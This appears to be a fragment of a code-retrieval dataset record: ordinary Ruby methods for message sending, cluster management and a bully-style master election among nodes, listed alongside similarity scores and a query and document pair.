"def send(**message)\n\t\t\t\t\tdata = dump(message)\n\t\t\t\t\t\n\t\t\t\t\tif data.bytesize > MAXIMUM_MESSAGE_SIZE\n\t\t\t\t\t\traise ArgumentError, \"Message length #{message.bytesize} exceeds #{MAXIMUM_MESSAGE_SIZE}: #{message.inspect}\"\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tSync do\n\t\t\t\t\t\t@endpoint.connect do |peer|\n\t\t\t\t\t\t\tpeer.send(data)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend",
"def send_message!\n msg = Message::Request.from_job(self)\n msg.send!\n end",
"def send(message)\n info(\"[Smartfocus] Send -> #{message}\")\n end",
"def connect\n @cluster.connect\n end",
"def set_mcluster\n @mcluster = Mcluster.find(params[:id])\n end",
"def kick(n, c, r)\n @socket << \"KICK #{c} #{n} :#{r}\"\n end",
"def send_message(command, message, headers = {})\n connect\n len = message.length\n @s.write(command + \" SPAMC/1.2\\r\\n\")\n headers.each do |k,v|\n @s.write(\"#{k}: #{v}\\r\\n\")\n end\n @s.write(\"Content-length: \" + len.to_s + \"\\r\\n\\r\\n\")\n @s.write(message)\n @s.shutdown(1) #have to shutdown sending side to get response\n lines = @s.readlines\n @s.close #might as well close it now\n @s = nil\n\n return lines\n\nend",
"def broadcast_message(message, rclient)\n\t\t@clients.each do |client|\n\t\t\tclient.puts message unless client == rclient\n\t\tend\n\tend",
"def update_cluster instance_id, cluster_id, location, serve_nodes\n instances.update_cluster name: cluster_path(instance_id, cluster_id),\n location: location,\n serve_nodes: serve_nodes\n end",
"def send(target, message)\n @irc.send_msg(target, message)\n end",
"def set_cluster\n @cluster = Cluster.find(params[:id])\n end",
"def sendmsg(cmd)\n\tdst = cmd[0]\n msg = $hostname + \" \" + dst + \" \" + cmd[1..-1].join(\" \")\n error_msg = \"SNDMSG ERROR: HOST UNREACHABLE\"\n\n # Make sure dst is reachable by checking it's next table, making sure it's not NA\n # and that the client table can find the right client\n if ($next.include?(dst) && $next[dst] != \"NA\" &&\n $clients.has_key?($next[dst]))\n next_hop = $next[dst]\n else\n STDOUT.puts(error_msg)\n return\n end\n\n client = $clients[next_hop]\n \n # Construct the packet\n packet = Msg.new()\n packet.setConfig(\"type\", 5)\n packet.setConfig(\"code\", 0)\n packet.setMessage(msg)\n\n success = sendMessage(client, packet)\n if !success\n STDOUT.puts(error_msg)\n end\nend",
"def send_message(secret_key, to, message)\n if secret_key != configatron.drb.secret_key\n # TODO log attempt\n return\n end\n\n Task.new(@agent, to, message).run\n end",
"def cluster(name = context&.cluster)\n named_cluster(name)&.cluster\n end",
"def send(message)\n if @subsystem_routes.has_key?(message.system_name)\n route_message(message, delivery_type: :send)\n else\n send_message(message)\n end\n end",
"def cluster\n OodAppkit.clusters[cluster_id] || raise(ClusterNotFound, \"Session specifies nonexistent '#{cluster_id}' cluster id.\")\n end",
"def cloud_platform_cluster_body(**options)\n {\n \"name\": options[:name] || 'string',\n \"description\": options[:description] || 'string',\n \"initialNodeCount\": options[:initialNodeCount] || 'number',\n \"masterAuth\": {\n \"username\": options[:username] || 'string',\n \"password\": options[:password] || 'string',\n \"clusterCaCertificate\": options[:clusterCaCertificate] || load_sample_cert,\n \"clientCertificate\": options[:clientCertificate] || 'string',\n \"clientKey\": options[:clientKey] || 'string'\n },\n \"loggingService\": options[:loggingService] || 'string',\n \"monitoringService\": options[:monitoringService] || 'string',\n \"network\": options[:network] || 'string',\n \"clusterIpv4Cidr\": options[:clusterIpv4Cidr] || 'string',\n \"subnetwork\": options[:subnetwork] || 'string',\n \"enableKubernetesAlpha\": options[:enableKubernetesAlpha] || 'boolean',\n \"labelFingerprint\": options[:labelFingerprint] || 'string',\n \"selfLink\": options[:selfLink] || 'string',\n \"zone\": options[:zone] || 'string',\n \"endpoint\": options[:endpoint] || 'string',\n \"initialClusterVersion\": options[:initialClusterVersion] || 'string',\n \"currentMasterVersion\": options[:currentMasterVersion] || 'string',\n \"currentNodeVersion\": options[:currentNodeVersion] || 'string',\n \"createTime\": options[:createTime] || 'string',\n \"status\": options[:status] || 'RUNNING',\n \"statusMessage\": options[:statusMessage] || 'string',\n \"nodeIpv4CidrSize\": options[:nodeIpv4CidrSize] || 'number',\n \"servicesIpv4Cidr\": options[:servicesIpv4Cidr] || 'string',\n \"currentNodeCount\": options[:currentNodeCount] || 'number',\n \"expireTime\": options[:expireTime] || 'string'\n }\n end",
"def send_message(name, label, message = \"\")\n encoded = MP.pack({ :uuid => @uuid, :msg => message })\n @exchange.publish(encoded, :type => label, :routing_key => ns(name))\n end",
"def close\n @cluster.close\n end",
"def sendMsg(msg)\r\n @pubNub.publish(:message => msg, :channel => @channel, :http_sync => true)\r\n end",
"def perform_write(command)\n @tcp_socket.send(command.to_bytes.pack('C*'), 0)\n end",
"def send_message(text)\n end",
"def edgeu(cmd)\n $dist[cmd[0]] = cmd[1].to_i\n $neighbors[cmd[0]] = cmd[1].to_i\n client = $clients[cmd[0]]\n msg = Msg.new\n msg.setConfig(\"type\", 2)\n msg.setMessage($hostname + \" \" + cmd[1].to_i.to_s)\n sendMessage(client, msg)\n fillInNodes()\nend",
"def send_message( msg )\n @session.send_message msg\n self\n end",
"def sock_send io, msg\n msg = \"#{msg}\\0\"\n log msg\n io.send msg, 0\n end",
"def create\n @cluster = Cluster.new(params[:cluster])\n\n respond_to do |format|\n if @cluster.save\n format.html { redirect_to @cluster, notice: 'Cluster was successfully created.' }\n format.json { render json: @cluster, status: :created, location: @cluster }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def write (text)\n @client.puts(text)\n end",
"def send_message(channel, content, opts = {})\n raise \"Unknown unit id, try providing :ret => 'id' when fetching units from the API.\" unless id && id > 0\n _cloud_connect.send_message(id, channel, content, opts)\n end",
"def send_message(msg)\n send_data({:type => :message, :body => msg})\n end",
"def name\n @cluster.name\n end",
"def send_message(jid,text)\n m = Jabber::Message.new(jid, text)\n m.set_type :chat\n @client.send m\n end",
"def update_cluster instance_id, cluster_id, location, serve_nodes\n execute do\n instances.update_cluster(\n cluster_path(instance_id, cluster_id),\n location,\n serve_nodes\n )\n end\n end",
"def update_cluster request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_cluster_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def send_message (*params)\n send_line Message.new(*params)\n end"
] |
[
"0.6175749",
"0.60076463",
"0.5997445",
"0.5972619",
"0.59325415",
"0.59008354",
"0.5856145",
"0.5842123",
"0.5840385",
"0.58380795",
"0.58019197",
"0.5761676",
"0.5759539",
"0.5756291",
"0.5732476",
"0.5677439",
"0.5661516",
"0.564475",
"0.5621653",
"0.56207925",
"0.5616041",
"0.561249",
"0.55980414",
"0.55939186",
"0.5589087",
"0.5575493",
"0.5569448",
"0.5542583",
"0.5523894",
"0.5522984",
"0.5518202",
"0.5518202",
"0.5511389",
"0.5505615",
"0.5486168",
"0.5483371",
"0.548312",
"0.548027",
"0.54672927",
"0.5463368",
"0.5452321",
"0.5448436",
"0.5446958",
"0.54447836",
"0.54447836",
"0.54447836",
"0.54447836",
"0.54447836",
"0.5437026",
"0.5435502",
"0.54292977",
"0.5418154",
"0.540346",
"0.539762",
"0.539762",
"0.53885263",
"0.5388203",
"0.5374259",
"0.5364224",
"0.53629327",
"0.5357014",
"0.53564334",
"0.5347541",
"0.5345746",
"0.53443897",
"0.5342402",
"0.5329504",
"0.5321633",
"0.5319991",
"0.53148913",
"0.5313519",
"0.53036344",
"0.53010595",
"0.5295587",
"0.529127",
"0.52895397",
"0.5284896",
"0.5279163",
"0.527089",
"0.52704227",
"0.52691853",
"0.52671",
"0.52668077",
"0.52654845",
"0.52617735",
"0.52415377",
"0.52400446",
"0.52361614",
"0.5232491",
"0.52263755",
"0.5225773",
"0.5223803",
"0.5221545",
"0.5218811",
"0.52166",
"0.5215379",
"0.52100194",
"0.5207658",
"0.5202261",
"0.5201882"
] |
0.63335854
|
0
|
The last time a "election victory" occured. Upon receiving a new election victory, if the last one is old we forget the old master If he's still around and still the highest key he'll send a fresh election victory anyway.
|
def master_last_seen_unix_timestamp()
@master_last_seen_unix_timestamp ||= 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_message_age\n return unless @mode == :max_age\n\n @history_mutex.synchronize do\n @history.each do |key|\n @history[key].delete_if{|entry| Time.now - entry.time > @max_age}\n end\n end\n end",
"def last_checkin; end",
"def update_lastlyUsed(chall)\n $game_temp.lbchll_lastly_used = chall.id\n #for ch in @challenges\n # ch.lastly_used = false\n #end\n #chall.lastly_used = true\n end",
"def fix_potato\n last_msg = $nv2_channel.history(1)[0] rescue nil\n $last_potato = last_msg.timestamp.to_i rescue Time.now.to_i\n if last_msg.author.id == $config['discord_client']\n $potato = ((FRUITS.index(last_msg.content) + 1) % FRUITS.size) rescue 0\n end\nrescue\n nil\nend",
"def latest_change(opp)\n [\n {time: opp[\"lastInteractionAt\"], source: 'a new interaction'},\n tags_have_changed?(opp),\n links_have_changed?(opp)\n ].reject {|x| x.nil?}.max_by {|x| x[:time]}\n end",
"def last_tickect_current_user\n Ticket.where(:user_id => current_user).last # retorna el objeto del ultimo ticket del current_user\n end",
"def last_rut; end",
"def last_event\n history.last\n end",
"def last_event\n history.last\n end",
"def last_update() (last_answer = answers.last) ? last_answer.time_stamp : created_at end",
"def idle_key\n return data_battler.dead_key if !@immortal && dead? && actor? \n return state_sequence if state_sequence\n return data_battler.critical_key if critical? && \n !data_battler.critical_key.empty?\n return data_battler.idle_key\n end",
"def idle_key\n return data_battler.dead_key if !@immortal && dead? && actor?\n return state_sequence if state_sequence\n return data_battler.critical_key if critical? && \n !data_battler.critical_key.empty?\n return data_battler.idle_key\n end",
"def last_checkins(response)\n user = response.matches.first.first || response.user.name\n\n if redis.sismember('users', user)\n log.debug(\"#{user} looks like an Untappd user\")\n untappd_user = user\n else\n # look up the Untappd user for this chat user\n log.debug(\"#{user} looks like it may be a chat user\")\n chat_user = User.fuzzy_find(user)\n\n unless chat_user\n response.reply_with_mention(\"I don't know anyone by that name\")\n return\n end\n\n untappd_user = redis.get(\"username_#{chat_user.id}\")\n end\n\n # Get the last three or today's checkins, whichever is more\n log.info(\"Getting last few beers for Untappd user #{untappd_user}\")\n checkins = ::Untappd::User.feed(untappd_user).checkins.items\n last_24_hour_checkins = checkins.find_all do |checkin|\n Time.parse(checkin.created_at) > (Time.now - (60 * 60 * 24))\n end\n\n if last_24_hour_checkins.length >= 3\n checkins = last_24_hour_checkins\n else\n checkins = checkins.take 3\n end\n\n log.debug(\"Got #{checkins.length} checkins for #{untappd_user}\")\n\n # accounce last beers\n beers = []\n checkins.each do |checkin|\n beers << \"#{checkin.beer.beer_name} by #{checkin.brewery.brewery_name}\"\n end\n\n if beers.empty?\n response.reply(\"#{user} hasn't checked in any beers!\")\n else\n response.reply(\"#{user}'s last few beers: #{beers.join(', ')}\")\n end\n end",
"def last_update\n \"none\"\n end",
"def last_seen\n recently_seen.limit(30)\n end",
"def latest_key\n key = Habit.get_progress_key_from(Date.today)\n initialize_progress_hash_from(key) if progress[key].nil?\n key\n end",
"def last_change\n new_times = mtimes\n ret = new_times.select { |k, v| @times[k] != v }\n @times = new_times\n ret.keys\n end",
"def last_good_pid\n @master_state.last_good_listener_pid\n end",
"def check_last_winner\n if @player1.player_victory\n @player2\n elsif @player2.player_victory\n @player1\n else\n @player1\n end\n end",
"def last_keystroke\n # Looks if we are still in the middle of our last keystroke, and returns it if necessary.\n @keystrokes.reverse_each do |keystroke|\n if(keystroke[:time_released] == nil)\n return keystroke\n end\n end\n # If all the logged keystrokes were released, return the last one in the array.\n @keystrokes.last\n end",
"def previous_contested_challenges\n user.challenges.where{id!=my{id}}.where{type==my{self.class.name}}.order(\"ends_on DESC\")\n end",
"def last_synchronize\n last_update\n end",
"def do_expired_cookie\n puts \"Warning:\" + @cook_master[@index][:cook].username + \"'s cookie expired.\"\n expired_cookie = @cook_master[@index][:cook]\n expired_cookie.remark = '('+Time.now.to_s+')'+'expired|' + expired_cookie.remark\n expired_cookie.expired = true\n expired_cookie.save\n @cook_master.delete(@cook_master[@index]) # delete this expired cookie\n @index -= 1\n\n # check the number of cookie\n if @cook_master.length == 0\n puts \"Cookie is used up\"\n return 0\n end\n\n @sleep_time = (10/@cook_master.length.to_f).ceil\n puts 'sleep time reset: ' + @sleep_time.to_s\n\n if @cook_master.length < 10 # reset the sleep time\n puts \"Warning:the number of cookies < 10\"\n end\n return @cook_master.length\n end",
"def last_message_id(person_full_name)\n last_left = Message.first(\n :conditions => {:person => person_full_name, :message_type => ['Leave','Kick']},\n :order => [:timestamp.desc])\n \n if last_left \n # if person timed out, look for their last entry before the timeout\n if last_left.message_type == 'Kick'\n last_left = Message.first(\n :conditions => {:person => person_full_name, :timestamp.lt => last_left.timestamp},\n :order => [:timestamp.desc])\n end\n\n if last_left && (Time.now.to_i - last_left.timestamp > 120)\n return last_left.message_id\n end\n end\n end",
"def last_encounter\n Encounter.where(:user_id => self.id).last\n end",
"def store_end_giocata(info_winner)\r\n curr_giocata = @info_match[:giocate].last\r\n curr_giocata[:giocata_winner] = info_winner if curr_giocata\r\n end",
"def clear_last_good!\n @master_state.last_good_listener_pid = nil\n end",
"def election_winner(votes)\n candidate_votes = Hash.new(0)\n\n votes.each { |vote| candidate_votes[vote] += 1 }\n\n max_votes = candidate_votes.values.max\n candidate_votes.select { |_, v| v == max_votes }.sort.reverse[0][0]\nend",
"def latest_cave\n\t\t\tPlayerCave[latest_cave_id]\n\t\tend",
"def last\n @history.last\n end",
"def get_last_seen\n last_seen = last_seen_at\n last_seen = current_sign_in_at if last_seen.blank?\n last_seen = last_sign_in_at if last_seen.blank?\n last_seen\n end",
"def just_saw\n\t\t\t@last_seen = Time.now\n\t\tend",
"def tv_last_channel \n send_cmd(\"tv_last_channel\")\n end",
"def last_changes\n pred = self.pred\n changes_against(pred) if pred\n end",
"def last_changes\n pred = self.pred\n changes_against(pred) if pred\n end",
"def last; end",
"def last; end",
"def last; end",
"def youngest_age\n now = Time.now\n age = nil\n self.each_value do |r|\n seconds = (now - r.receive_time).to_i\n age = seconds if age.nil? || seconds < age\n end\n age\n end",
"def latest_update\n gazette_nums = EpoOps::Util.parse_hash_flat(@raw_data, 'change_gazette_num')\n nums = gazette_nums.map { |num| EpoOps::Util.parse_change_gazette_num(num) }.keep_if { |match| !match.nil? }\n nums.max\n end",
"def last?; end",
"def last() end",
"def update_last_used_marble(id, event, name, marble, bot)\n if(marble.eql?(\"\"))\n event.respond \"<@#{event.author.id}>, which marble did #{name} use?\\nIf I don't confirm, try again.\"\n last_marble = \"\"\n cancel = false\n while(last_marble.eql? \"\")\n # wait a minute for a reply\n reaction_event = bot.add_await!(Discordrb::Events::MessageEvent, {timeout: 60})\n # check for timeout\n if reaction_event\n # make sure the message is by who we asked\n if reaction_event.author.id.eql?(event.author.id)\n # remove all spaces and symbols, matching card_stats format\n\t\t\t\t\t# temp disable of this if: allows any field for last card used\n if true || @card_stats[reaction_event.content.gsub(/[^\\w\\d]/, \"\").capitalize] > 0\n # filter out newlines from the response\n last_marble = reaction_event.content.gsub(\"\\n\", \"\") \n else\n event.respond \"No marble found matching #{reaction_event.content}. Please try again.\"\n end\n end\n else\n event.respond \"Timed out.\"\n last_marble = \"unknown\"\n end\n end\n else\n last_marble = marble\n end\n event.respond \"Set last used marble for #{name } to #{last_marble}!\"\n # need to get marbles to be able to recreate the file\n marbles = \"\"\n File.open(\"#{get_tourney_dir(id)}/#{name}.record\", \"r\") do |f|\n marbles = f.read.split(\"\\n\")[1].gsub(/(Entered cards: )|,/,\"\")\n end\n # split string into array [\"marble1\", \"marble2\", ...]\n marbles = marbles.split\n # recreate the record file string, with a new line indicating last used marble\n new_file_string = create_file_string(name, marbles)\n new_file_string << \"\\nLast used marble: #{last_marble}\"\n File.open(\"#{get_tourney_dir(id)}/#{name}.record\", \"w\") do |f|\n f.puts(new_file_string)\n end\nend",
"def last_good\n @listener_proxies[last_good_pid]\n end",
"def last_status; end",
"def last_known_state\n s = DB[:gauge_values].where('gauge = ?', node.path.to_s).select(:time, :value).order(:time).last\n s ||= { value: nil, time: Time.at(0) }\n s\n end",
"def last_seen_at() ; info_time(:last_seen) ; end",
"def send_victory()\n send_message(:election_victory)\n end",
"def last_guest\n guests.last\n end",
"def last_guessed_card\n current_round.guesses.last.card_id\nend",
"def stored_data_last_key\n stored_data.keys.sort.last || nil\n end",
"def last_time\n @last_time\n end",
"def last_seen_at\n @data[:last_seen_at]\n end",
"def previous_won_challenges\n previous_contested.won\n end",
"def last_sig; end",
"def revoked\n DT[:revoked] << { messages.metadata.partition => Time.now }\n end",
"def last_time\n last = entries.order(Sequel.desc(:time)).first\n if last.nil?\n last_checked\n else\n last.time\n end\n end",
"def last(m)\n\t\tnick = m.message.split(/\\W/)[2]\n\t\tuser = @users[nick]\n\t\tif Mailbox.exists? nick\n\t\t m.reply \"Last saw #{nick} [ #{\"%.2f\" % ((Time.now - user.last_seen) / 60 / 60)} hrs | #{user.missed_lines} lines ] ago\"\n\t end\n end",
"def life_lost\n # if we are attacking ourselves, don't give our life back (otherwise it will never end)\n unless current_user == current_user.previous.player\n # Render the status message and push it to all clients\n message = render_to_string :partial => 'messages/gained_a_life', \n :locals => {:user_1 => current_user.previous.player, :user_2 => current_user}\n send_status_message(message) \n \n # Attacker gains the life that their victim lost\n attacker = current_user.previous.player\n life_gained(attacker)\n end\n ensure\n render :nothing => true\n end",
"def player_lost\n\t\tputs \"\\nI am sorry, but you have lost!\"\n\t\tputs \"The secret number was #{self.secret_number}\"\n\t\tself.player_record[\"Losses\"] += 1\n\tend",
"def after_destroy(election)\n if election.elected\n log election, :destroy\n end\n end",
"def expired_kalive?(key, time)\n if !@keys.key?(key)\n return false\n end\n \n if Time.now.to_i - @keys[key][:st] > time\n puts \"Expired key due to not received keepalive within #{time} seconds : #{key}\"\n return true\n end\n\n false\n end",
"def latest_progress\n progress[latest_key]\n end",
"def last_alive\n MiGA::Daemon.last_alive project\n end",
"def last_response\n @response\n end",
"def stored_data_last\n stored_data[stored_data_last_key] || nil\n end",
"def response_lifetime_date\n response_reset_date || CommitteeMember::DEFAULT_RESPONSE_LIFETIME.ago\n end",
"def last_data\n get_current['data']\n end",
"def time_on_hold(current_time = Time.now)\n\n on_hold = ReviewStatus.find(:first,\n :conditions => \"name='Review On-Hold'\")\n\n return 0 if self.review_status_id != on_hold.id\n current_time.age_in_seconds(self.placed_on_hold_on)\n\n end",
"def latest_restorable_time\n data[:latest_restorable_time]\n end",
"def latest_restorable_time\n data[:latest_restorable_time]\n end",
"def oldest_age\n now = Time.now\n age = nil\n self.each_value do |r|\n seconds = (now - r.receive_time).to_i\n age = seconds if age.nil? || seconds > age\n end\n age\n end",
"def last_audit\n audits.last\n end",
"def last_audit\n audits.last\n end",
"def view_election_history\n\t\tputs \"\"\n\t\t@elections.each do |election|\n\t\t\tprint \"Term #{election.term}: #{election.winner.name}, #{election.winner.party} \"\n\t\t\tputs \"(#{election.percent}% of vote, #{election.candidates.size} ran, #{election.total_voters} citizens voted)\"\n\t\tend\n\t\tputs \"No elections yet!\" if @elections.none?\n\t\tmain_menu\n\tend",
"def recent\n num_recent = 5\n entries = @@ledgers.find(\"owner\" => @sender).first['entries']\n\n if(entries.length < num_recent)\n num_recent = entries.length\n end\n\n reply = [\"Most recent ledger entries:\"]\n \n for n in 1..num_recent\n entry = entries[-n]\n reply.push(\"#{entry['action']}, #{entry['description']}, #{entry['value']}\")\n end\n\n @t.say(reply.join(\"\\n\"))\nend",
"def last_response\n @last_response\n end",
"def quest_status_changed\n $game_party.quests.add_to_sort_array(:change, @id) \n $game_system.last_quest_id = @id if QuestData::OPEN_TO_LAST_CHANGED_QUEST\n end",
"def resident_key?; end",
"def expire!\n self.last_retrieved = Time.mktime(1970).gmtime\n self.save\n end",
"def event_epoch()\n # Flush out idle clients, if any\n @clients.each do |_,client|\n if Time.now - client.var[:last_ping] > 300\n client.socket.close\n client = @clients.delete(client.socket)\n dispatch :connection_reset, client, \"ping timeout\"\n end\n end\nend",
"def old\n oldies = stats.keep_if do |pid, stats|\n stats[:uptime].to_i >= @options[:old]\n end\n\n kill oldies, \"Old\"\n end",
"def last_edited_time\n begin\n $redis.hget 'last_edit:instrument', self.id\n rescue\n nil\n end\n end",
"def round_time_expired(channel_id)\n key = \"current_question:#{channel_id}\"\n current_question = $redis.get(key)\n if !current_question.nil?\n current_question = JSON.parse(current_question)\n current_answer = current_question[\"answer\"]\n mark_question_as_answered(channel_id)\n reponse = \"The correct answer is `#{current_answer}`.\"\n end\n status 200\n body json_response_for_slack(response)\nend",
"def get_last_change\n lastChange ? 'Si' : 'No'\n end",
"def ageoff\n messages.reject! { |m| m.expired? }\n\n claims.keys.dup.each do |id|\n claim = claims[id]\n if claim.expired? || claim.messages.empty?\n claim.messages.each { |m| m.claim = nil }\n claims.delete(id)\n end\n end\n end",
"def get_last_server\n return get_server_by_algorithm { |l| l.last }\n end",
"def last\n end",
"def last_acceptable current_chunk\n\t\t\tcurrent_chunk - (@history / @chunk_length)\n\t\tend",
"def last_message \n messages.last\n end",
"def last_active\n\n @expressions.collect { |fexp| fexp.h.put_at }.max\n end",
"def last_master_variant\n inactive_master_variants.try(:last)\n end",
"def last_created_box\n @last_created_box ||= nil\n end",
"def get_last_message\r\n @messages.fetch(self.count_messages - 1)\r\n end",
"def keep_most_recent(number)\n @keep_most_recent = number\n end",
"def calculate_winner players\n\n sorted_cards = @card_list.sort # sort cards in 'poker' order\n players.each_with_index {|player, i|\n if sorted_cards[-1] == player.get_last_card_played\n @last_winner=player.name\n end\n }\n # Switched off this observation for the moment\n #changed\n #notify_observers(sorted_cards[-1].to_string)\n\n if sorted_cards[-1].to_string_other.include?(\"FIVE\") then\n changed\n notify_observers(@last_winner,sorted_cards[-1].to_string)\n end\n\n sorted_cards[-1] # return best card\n end",
"def last_checkout\n meta = Meta.find(:key => 'last_checkout_id')\n Entry[meta.value] if meta\n end",
"def last_peer_count\n\t\t\t@last_peer_count ||= 50\n\t\tend",
"def last_mon_index\n $pokemon_party.user_data[:last_honey_mon_index] || 0\n end",
"def last\n self.class.where(id: rid).chronological.last\n end"
] |
[
"0.5505666",
"0.5441476",
"0.5419344",
"0.54145247",
"0.53953594",
"0.53839177",
"0.5366166",
"0.5363971",
"0.5363971",
"0.5355854",
"0.5347706",
"0.53130364",
"0.5309644",
"0.5309316",
"0.5307484",
"0.53068066",
"0.5295403",
"0.52938366",
"0.5293259",
"0.5285846",
"0.52843124",
"0.52837044",
"0.52759415",
"0.5255815",
"0.52385116",
"0.51977587",
"0.51874274",
"0.5175263",
"0.5168881",
"0.516708",
"0.5160035",
"0.5157329",
"0.51552576",
"0.5155173",
"0.5154972",
"0.51546407",
"0.51546407",
"0.51546407",
"0.5152083",
"0.5146897",
"0.51355296",
"0.5132506",
"0.5131812",
"0.51192534",
"0.51104003",
"0.5109456",
"0.51092905",
"0.5097488",
"0.50965244",
"0.5076509",
"0.5070937",
"0.5070926",
"0.5061603",
"0.50451374",
"0.50418115",
"0.50220466",
"0.50141037",
"0.5006051",
"0.5002772",
"0.49994192",
"0.4999301",
"0.49867308",
"0.49861342",
"0.49839753",
"0.49835765",
"0.4979083",
"0.4978592",
"0.49756604",
"0.49736086",
"0.49601468",
"0.49601468",
"0.49583286",
"0.49580136",
"0.49580136",
"0.49577206",
"0.49522668",
"0.4951859",
"0.4950285",
"0.4949363",
"0.4947736",
"0.4946393",
"0.4943128",
"0.4936847",
"0.49297085",
"0.49254224",
"0.49213675",
"0.4912703",
"0.49057978",
"0.48929352",
"0.48924264",
"0.48910502",
"0.4880233",
"0.48782814",
"0.4872583",
"0.4872487",
"0.48696595",
"0.48695248",
"0.48681414",
"0.4865106",
"0.48642844"
] |
0.5707952
|
0
|
Master election messages, as described in
|
def send_enquiry()
# Send election enquiry message. The master will reply if its node_id is greater than this node's
send_message(:election_enquiry)
# Wait for the master's response for a few seconds
@master_response_timeout = EM::Timer.new(5) do
# No response, asume we are the master
Logger.info log_message("No response from the master, claiming to be the master.")
become_master
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process_message(message)\n # Extract fields from message\n begin\n data = JSON.parse message\n rescue JSON::ParserError\n Logger.error log_message(\"JSON Parse error on cluster message: '\" + msg + \"'\")\n return \n end\n sender = data['sender']\n return if sender == node_id # Ignore own messages\n destination = data['destination']\n if (destination.nil? || destination == node_id)\n # This is a broadcast, or a message to our node, we need to process it\n event = data['event'].to_sym\n if event == :election_enquiry && is_master? && sender < node_id\n # We are the master, and the enquirer doesn't have an node_id\n # higher than us. Reply to this enquiry telling it we are the master.\n Logger.debug log_message\"Sending master enquiry reply to: \" + sender\n send_enquiry_reply(sender)\n elsif event == :election_enquiry_reply && sender > node_id\n # The master replied, accept it\n accept_master(sender)\n elsif event == :election_victory && sender < node_id\n # Some node claims to be the master, but its node_id is lower than ours ;\n # Tell all nodes we are the real master.\n Logger.info log_message\"Another node claimed to be the master: \" + sender + \". Sending new victory message to correct it.\"\n send_victory\n elsif event == :election_victory && sender > node_id && (sender > master_id || master_last_seen_unix_timestamp < Time.now.to_i - 60)\n # Some node claims to be the master, and its node_id is greater than ours\n # and its node_id is greater than the currently known master, or the master is\n # outdated. Accept the node as new master\n accept_master(sender)\n elsif event == :master_alive && sender == master_id \n # Master is alive\n @master_last_seen_unix_timestamp = Time.now.to_i \n refesh_master_timeout\n end\n end\n end",
"def next_message; end",
"def next_message; end",
"def process_messages\n\t\t\tloop do\n\t\t\t\tchan, message = @redis_listener.blpop(\"#{PREFIX}.network:#{@network}.messages\", 0)\n\t\t\t\t@log.debug(\"A client sent the message : #{message}\")\n\t\t\t\tmsgid, command, args = parse(message)\n\t\t\t\tunless command\n\t\t\t\t\t@log.warn(\"A client sent an invalid message.\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif msgid && @failed_cmds.include?(msgid) # Every daemon tried to contact the multi (blpop act as first waiting, first served)\n\t\t\t\t\tanswer(msgid, false, \"No daemon could contact the multiplexer\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tans, info = case command\n\t\t\t\t\twhen \"add_sensor\"\n\t\t\t\t\t\tregister_device :sensor, args\n\t\t\t\t\twhen \"add_actuator\"\n\t\t\t\t\t\tregister_device :actuator, args\n\t\t\t\t\twhen \"delete_sensor\"\n\t\t\t\t\t\tunregister_device :sensor, args\n\t\t\t\t\twhen \"delete_actuator\"\n\t\t\t\t\t\tunregister_device :actuator, args\n\t\t\t\t\twhen \"take\"\n\t\t\t\t\t\ttake_callback args\n\t\t\t\t\twhen \"actuator_state\"\n\t\t\t\t\t\tactuator_state_callback args\n\t\t\t\t\telse\n\t\t\t\t\t\t@log.warn(\"A client sent an unknown command : \\\"#{command}\\\"\")\n\t\t\t\t\t\t[false, \"Unknown command \\\"#{command}\\\"\"]\n\t\t\t\tend\n\t\t\t\tcase ans\n\t\t\t\t\twhen true # Success\n\t\t\t\t\t\tanswer(msgid, true)\n\t\t\t\t\twhen false # Failure\n\t\t\t\t\t\tanswer(msgid, false, info)\n\t\t\t\t\telse # Timeout error, transmit to another daemon\n\t\t\t\t\t\tif not msgid\t\t\t # Generate an id only for daemons\n\t\t\t\t\t\t\tmsgid = rand.hash.abs\n\t\t\t\t\t\t\tmessage = \"#{msgid}:#{message}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@failed_cmds.push(msgid).unshift\n\t\t\t\t\t\t#answer(msgid, false, \"wait\") # TODO utile ?\n\t\t\t\t\t\t@redis_listener.lpush(\"#{PREFIX}.network:#@network.messages\", message) #TODO generate with path?\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def thread(messages)\n # create id_table\n @id_table = create_id_table(messages)\n\n # create root hierachy siblings out of containers with zero children\n # TODO: would probably be nicer to use a list instead of empty root node\n root = Container.new()\n @id_table.each_pair { |message_id, container| root.add_child(container) if container.parent.nil? }\n \n # discard id_table\n @id_table = nil\n\n # prune dummy containers\n prune_empty_containers(root)\n\n # group again this time use Subject only\n #subject_table = group_root_set_by_subject(root)\n\n root\n end",
"def process_msgs\n end",
